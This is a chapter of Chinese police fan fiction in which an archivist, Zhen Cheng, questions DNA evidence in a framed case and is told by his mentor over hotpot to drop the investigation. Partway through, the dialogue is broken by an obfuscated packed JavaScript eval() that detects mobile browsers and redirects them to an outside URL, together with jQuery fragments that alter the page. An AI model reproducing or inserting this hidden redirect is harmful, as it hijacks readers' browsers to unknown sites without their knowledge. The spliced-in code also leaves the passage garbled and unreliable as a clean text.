26. 旧事重提
作品:《【旧警察故事】同人——过去的故事》 档案室中,甄诚从法医的报告中摘抄出一个词,阴到内容物vaginal contents,然后又从检测中心的报告里摘抄出一个词,惊液semen。
法医办公室里,可怜的老法医刚准备锁门下班,一转身就被身后忽然出现的甄诚吓了一跳。
“我的妈呀!你想吓死我呀!怎么又是你呀?”
“不好意思呀!您没事吧?”甄诚也让张法医吓了一跳。
“又有什么事呀?我已经下班了,有事明天再说吧!拜拜!”预感不妙,张法医转身要走。
“没事没事!就是有一个专业上的问题想请教一下。”甄诚赶忙堵在张法医身前,掏出了那本案卷。
“就是这里!您提交的报告上是说送去检测中心的是vaginal contents,但是检测中心的报告上却写的semen。这是怎么回事呀?”
“哦~是这个呀!因为我送去的是阴到内容物样本,我这边没有检测目的,所以样本是什么就用什么词。检测中心那边是为了对比精子的DNA,所以专门需要提取其中惊液里的精子,样本就默认用惊液这个词。实际上是一个东西。”
“哦……这样啊!”甄诚若有所思的捧着案卷发愣。
“没别的事吧?那我走咯!”
“啊!谢谢!麻烦您了!”甄诚反应过来,立刻点头鞠躬,目送张法医下班。
第二天一大清早,检测中心刚刚开门,DNA检验科的师姐便被甄诚堵在了门口。
“师姐,您好!您还记得我吗?我是西九龙警署的!”
“记得!记得!你上次是和另一个大高个儿一块儿来的嘛。怎么?有什么事吗?”师姐笑着说。
“就是上次我们警署法医送过来的那份对比样本,您还有印象吗?”
师姐点点头,示意他继续说。
“您还记得样本是什么吗?”
“惊液呀?”
“是惊液?还是阴到内容物?”
“都是。”
“您确定吗?!”甄诚激动地不禁提高了声音。
“我当然确定!样本里有女性的DNA。”
“哦!谢谢师姐!麻烦您了!”
甄诚挠挠头,对着师姐弯了弯身子,转身走了。
“两次DNA对比都没有问题。你也许应该向着其他方面找找。”
师姐看他失魂落魄的样子忍不住出声提醒。甄诚回头看看师姐,又点点头。
回到警署,甄诚还是想不出来,倒底刘sir在哪个环节做的手脚。如果真如中心的师姐所说,DNA检测完全没有问题,法医送检的样本也没有被做手脚,那就只剩一个可能,李祥雨和孙天明的样本被调换了。可是也不对呀!
“孙天明的水杯是我亲眼看着生哥放进袋子里,我和雷松一起送过去的。全程都没离开过我的视线。总不能孙天明真的是无辜的吧?!”
甄诚发愁地抓着头发。
“阿诚呀!我腰有点疼,今天约了去看医生,一会儿就你一个人啦!”张叔换回便装,一手扶着腰,站在档案室门口。
“啊!张叔放心吧!有我在就行!”
张叔刚要转身离开,突然像是想到什么,又转了回来。
“等会儿3组要调一个奸尸案的卷,我放在台子上了,他们过来,你直接给他们就行!”
“好的!”
张叔转身离开。甄诚愣了一下,突然站起来。
“奸尸!”
“雷松!雷松!”甄诚一路跑到2组办公室,看到雷松就喊。
“你让狗撵啦?怎么了?”
“是奸尸!是奸尸!我全都明白了!”
“你怎么又开始管3组的案子了?”何爷的声音在甄诚身后响起,吓得甄诚一缩。
“何爷,你吓死我了!你也在呀?”
“废话,雷松都在,我能在哪儿?周振邦突然又说不找了,我们可不就闲下来了嘛!”
“好啦!好啦!我看你这几天都看卷看魔怔了!怎么又看开3组的卷了?行啦~过段时间等生哥回来,就让他把你调回来。到时候就是刘sir也没话说!”雷松拍拍手,一副万事大吉的样子。
何爷坐回自己的位置上,慢悠悠地喝了一口茶,跟着点点头。
甄诚看他们这个样子,翻了个白眼,刚想解释。
“你在这里干什么?”刘sir路过看到甄诚,就没好气的问。
“刘sir!”
“回你岗位上去!”
“yes,sir!”
甄诚垂头丧气地离开,雷松在身后同情的挥手告别。
一下午,甄诚都没有在档案室呆着,而是不停想要和雷松分享他的大发现,但是他又不能上2组的办公室找他,刘sir今天也一直没有离开,总会在办公室附近看到他。
可是雷松今天也不知道在忙什么,来来回回好几次,都急匆匆的。想好好说话都难。好不容易停下来在办公室门口堵到他,也没有看到刘sir的身影,结果何爷还在。
甄诚有点儿不想跟何爷说他的发现,可能是怕又教训自己吧~
快下班了,甄诚终于放弃了。知道自己犯了一个大错误,放过了真正的凶手。这好像也不是什么值得分享的好事情。甄诚又安下心来继续整理档案,打扫卫生。
摇摇晃晃又到下班。甄诚正在档案柜之间扫地。张叔拿着一个袋子回来了。看看好像没什么工作需要自己,于是他干脆下班。
“甄诚,我先走了啊!你记得关灯!”
“好的,张叔明天见!”
“哎!你来啦?回头聊啊!”张叔好像在和什么人打招呼。甄诚探出头来一看,生哥就站在门口,笑着看着他。
“生哥!”
“受委屈了。”生哥笑着拍了拍甄诚的肩膀。
“是我冲动了!”甄诚笑着挠了挠头,声音有点儿哽咽。
“走,生哥请你们吃饭去!打边炉怎么样?”
“好!”
甄诚和雷松在前面选菜,生哥和何爷坐在桌边在聊天,热气腾腾的蒸汽裹着食物的香味,勾的人馋虫直冒。两个小的把菜一盘盘摆上,这时老板来到桌边,俯下身子在生哥耳边说。
“生哥,今天的石斑最新鲜!我专门给老客人留了两条,全给您这桌上上!算我给生哥即将升职的贺礼!别嫌弃!”
生哥拍拍老板搭在自己肩上上的手,侧身点点头。
“您有心了!”
老板转头对着一桌人招呼。
“招待不周啊!阿sir们有什么需要随时招呼我!生哥这都是老街坊了!不用客气!”
“老板客气了!”
“生哥,你什么时候才能回来呀?你不在刘sir老是欺负我们,还有那个朱鑫天天阴阳怪气的,不知道在背后怎么打我们小报告呢!”
“我要受训36周呢!你们还是得习惯自己搞定刘sir和朱鑫。尤其是朱鑫,毕竟是自己组的同僚,平时一起行动,总有免不了有要把后背交给他的一天。把关系搞好是必须的。何爷,还要辛苦你给这几个家伙当润滑剂了。”说着,王福生和何爷碰了一下杯。
“至于刘sir……”王福生把酒杯放下,严肃的看着甄诚,眼中带着复杂的情绪。
“甄诚,你不要再查下去了。”
“生哥?!”
甄诚突然感到呼吸急促起来,他知道生哥一直是不赞成他们和刘sir硬拼的。但是他又总觉得生哥能够理解他,理解他们。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385652|200231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“他们两家现在存在着非常稳固的合作关系。你动任何一方,都会面对两方的反击。”
“不,不是反击!他们不会给你出手的机会,你懂吗?”
“可是,如果我们查到证据呢?”甄诚还想坚持一下。
生哥的脸色突然沉了下去,之前的脸色是严肃,这时的脸色就有点儿吓人了。
生哥将一封信轻轻放在桌子上。甄诚一眼认出就是他那封折戟沉沙的举报信。
“那你的证据必须能一锤定音,同时锤死孙家父子和刘达先三个人!”
“否则,我们都要陪你死!”
甄诚垂下头不说话了。雷松揽过他的肩膀,强笑着和生哥保证。
“不会,阿诚不会再查了。他知道轻重。对不对?”
甄诚的脑子一片混乱,生哥是被刘sir威胁了吗?刘sir把这封信给生哥,就是让他来说服自己不要再和他作对?证据,对!证据不够才会被送回来的!还是要找证据!
耳边听到雷松问对不对的声音,雷松说的话能有什么对不对呢?
“嗯,对!”稀里糊涂地点点头。雷松和何爷都松了口气,只有生哥看出了他的混乱,神色复杂的看着他,不知道在想什么。
看着甄诚食不知味的往嘴里塞东西,雷松也不忍心。只能提个别的事情,缓和一下气氛。
“生哥,刘sir前两天让我们找周振邦,现在怎么突然又不找了?”
“听说是因为孙卓夫受伤了,差点死掉。”王福生带来了一个新消息。
“啊?怎么回事?这么大的事情,我们一点儿风声都没收到呀?”何爷皱着眉惊讶道。
“据说是有枪手袭击了孙家的半山别墅,用的微声冲锋枪。”
“那仨大圈仔?!这是什么展开?”
“我估计,大圈仔之前和孙家父子是合作关系,不过后来翻脸了,所以洪兴拿走了第一笔赎金1000万,之后却放不了人质,就是因为人并不在他们手里。急着要赎金,就是为了抢先大圈仔一步。”
“估计刘sir是在里面协调关系拿好处,但是人回不来,事情就搞砸了。黄家也不是简单的人物。只怕刘sir没拿到好处反惹了不该惹的人。追查周振邦,估计就是刘sir在给孙家施加压力。”
“现在大圈仔差点儿把孙卓夫给干掉,估计孙家父子吓破了胆,对着刘sir妥协了。”何爷明白了。
“看吧。估计接下来刘sir就要把警力放在通缉大圈仔和保护‘市民安全’上面了。”生哥也缓和了神色。
“这三个大圈仔不是普通人,他未必能对付,你们也要注意自己的安全。看黄晟乔能平安回来,这几个人应该也不是什么穷凶极恶的家伙,你们没必要和他们拼命。说你呢!”
王福生指指雷松。
“不会!生哥你放心!就凭他们差点儿干掉洪兴帮老大,我给他们大开方便之门都行!”雷松捂着嘴偷偷摸摸地说。
大家听了都是会心一笑,点点头,深表赞同。
“哎!生哥~”雷松突然凑到王福生身边,一脸谄媚。
“干嘛?有话好好说!”好恶心!
“就是周振邦呀~放着不管啦?”
“周振邦应该是弃子了吧?抓他总没问题吧?”
“现在洪兴确实可能顾不上他了。不过周振邦是孙卓夫养大的,你抓了他,他也不会出面指证洪兴帮的。”
“哦……”
“怎么?!你还真打着让他指证孙卓夫的主意呢?!”
“不敢!不敢!”雷松嬉皮笑脸的样子明显没说实话。
“没一个让我省心的!”王福生将酒杯在桌子上一拍。
突然,何爷用手指了指自己,咧嘴一笑。

